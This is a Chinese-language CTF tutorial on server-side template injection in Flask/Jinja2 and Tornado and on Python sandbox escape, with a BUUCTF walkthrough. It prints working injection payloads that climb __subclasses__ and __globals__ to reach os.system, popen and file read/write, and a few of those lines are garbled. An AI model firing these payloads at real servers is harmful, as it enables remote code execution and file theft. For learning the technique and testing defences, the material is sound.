SSTI/python沙箱逃逸
漏洞成因
ssti,即服务端模板注入,指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,究其原因是程序员对代码不规范不严谨,导致了用户输入被串联到模板中而不是作为数据传递,才造成了模板注入漏洞,造成模板可控。
模板引擎
模板是一种提供给程序来解析的一种语法,换句话说,模板是把数据(变量)变成视觉表现(HTML代码)的实现手段,而这种手段不论在前端还是后端都有应用。
通俗点说就是,拿到数据,放到模板里面,然后让渲染引擎将这些东西生成为html的文本,返回给浏览器。这样做的好处是可以大大提升效率。
服务端模板注入的形成
通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个张三可能就是把你的身份信息渲染成html返回到页面。
这里模板引擎就可能会出现漏洞,也就是将不可靠的用户的恶意数据经过引擎解析之后,没有过滤直接进行了执行。下面会详细讲到。
flask基础知识
flask
定义
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。其WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
flask代码简单示例:
1 | from flask import Flask |
app = Flask(__name__)
:Flask类必须指定一个参数,即主模块或包的名字。这里__name__
为系统变量,指的是当前py文件的文件名。
@app.route()
: 路由与视图函数。从client发送的url通过web服务器传给flask实例对象时,因为该实例需要知道对于每个url要对应执行哪部分的函数所以保存了一个url和函数之间的映射关系,处理url和函数之间关系的程序称为路由,在flask中用的是app.route路由装饰器,把装饰的函数注册为路由。简单理解就是@app.route(url)
装饰器告诉Flask什么url触发什么函数,而通过装饰器将函数与url绑定在一起就称为路由。app.run()
:样例为 run_simple(host, port, self, **options)
当不设置时,默认监听127.0.0.1:5000, 监听0.0.0.0的话则任意IP都可访问。该函数作用为开启flask集成的web服务,服务开启后会一直监听5000端口并处理请求知道程序停止。
渲染方法
render_template()
渲染一个指定的文件,这个指定的文件其实就是模板。
render_template_string()
渲染一个字符串,经常会被利用。
jinja2
flask是用jinja2作为渲染引擎的。
语法
在jinja2中存在三种语法
- { { } } 装载一个变量,渲染模板的时候,会使用传进来的同名参数将这个变量代表的值替换掉
- { { % % } } 装载一个控制语句 if..
- { # # } 装载一个注释,模板渲染的时候会忽略这中间的值
过滤器
变量可以通过“过滤器”进行修改,可以理解为是jinja2里面的内置函数和字符串处理函数。
在变量后面使用管道(|)分割,多个过滤器可以链式调用,前一个过滤器的输出会作为后一个过滤器的输入。
举例:
1 | {{ 'abc' | captialize }} |
常见过滤器
- safe: 渲染时值不转义
- capitialize: 把值的首字母转换成大写,其他子母转换为小写
- lower: 把值转换成小写形式
- upper: 把值转换成大写形式
- title: 把值中每个单词的首字母都转换成大写
- trim: 把值的首尾空格去掉
- striptags: 渲染之前把值中所有的HTML标签都删掉
- join: 拼接多个值为字符串
- replace: 替换字符串的值
- round: 默认对数字进行四舍五入,也可以用参数进行控制
- int: 把值转换成整型
漏洞举例
一个安全的代码应该如下:
1 | from flask import Flask,request,render_template |
1 | <!--/www/templates/index.html--> |
可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容。即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入。
原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。
但如果CTF中或程序员为省事将代码这么写:
1 | from flask import Flask,url_for,redirect,render_template,render_template_string,request |
这时,我们将数学运算设置为参数的值输入的内容,由于Flask 用Jinja2 作为模板渲染引擎,{{}}`在Jinja2中作为变量包裹标识符,渲染的时候把`{{}}
包裹的内容当做变量解析替换,我们就可以看到这个数学运算被计算了,服务器渲染然后输出,这就形成了SSTI模板注入漏洞,可以直接xss等攻击。
利用方式
遇上一个SSTI的题,该如何下手?大体上有以下两种思路:
查配置文件
python框架,如flask,会在框架中内置全局变量、函数等,我们可以调用它来查阅配置文件。比如
{{config}}
。这里用BUUCTF中的easy_tornado举例:
1
2
3
4
5/hints.txt
md5(cookie_secret+md5(filename))
/flag.txt
flag in /fllllllllllllag从题目hint提示中我们得知,需要知道当前的cookie_secret,尝试后弹出了error界面。结合前面的render提示,我们推测这里有模板注入。
因此我们利用tornado引擎的
handler.settings
属性就可以得到session:之后经过计算得到flag,注意这里要对字符串进行类型转换,py3下字符串为unicode,hash传递需要utf-8。
1
2
3
4
5
6
7
8
9
10
11import hashlib
def md5(s):
md5=hashlib.md5()#创建了一个md5算法的对象(md5不能反解),即造出hash工厂
md5.update((s).encode("utf-8"))
return md5.hexdigest()#产出hash值,拿到加密字符串
if __name__ == '__main__':
filename = '/fllllllllllllag'
cookie_secret = '0364c59d-ec90-4fb3-a189-08592e0d9661'
print(md5(cookie_secret+md5(filename)))命令执行(其实就是沙箱逃逸类题目的利用方式,下面会详细讲)
沙箱逃逸
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。
python的沙箱逃逸的过程
首先要知道,python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。
利用各类之间的继承关系,完成以下寻找:
变量对象—>找到所属类型—>回溯基类—>寻找可利用子类—>获取全局变量
一些内置方法/属性
- __class__:用来查看变量所属的类,根据前面的变量形式可用得到其所属的类
1 | ''.__class__ |
- __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
- __mro__:递归地显示父类一直到 object。
1 | ().__class__.__bases__ |
- subclasses():查看当前类的子类,以元祖形式返回。
1 | ''.__class__.__mro__[2].__subclasses__()[40] |
- __init__
所有的可被当作模块导入的都包含 __init__
方法,通过此方法来调用 __globals__
方法
- __globals__
所有函数都会有一个 __globals__
属性, 用于获取当前空间下可使用的模块、方法及其所有变量,结果是一个字典。
1 | import os |
__builtins__
在 Python 中,有很多函数不需要任何 import 就可以直接使 用,例如
chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块
(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。1
2>>>__builtins__.__import__('os').system('dir')
bin dev flag ...
逃逸方法
我们可以通过继承链完成逃逸。
比如一个读文件语句:
1 | ''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() |
1 | ''.__class__ |
''
返回’str’,mro返回基类,subclasses()来找一下可以利用的子类:
找到os后,接下来添加上 __init__
用传入的参数来初始化实例,使用__globals__
以字典返回内建模块,从而成功读取文件。
可以用脚本来找含有os模块的:
1 | for a in range(0,444): |
利用语句
读文件
1 | {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}} |
写文件
1 | object.__subclasses__()[40]('/tmp').write('test') |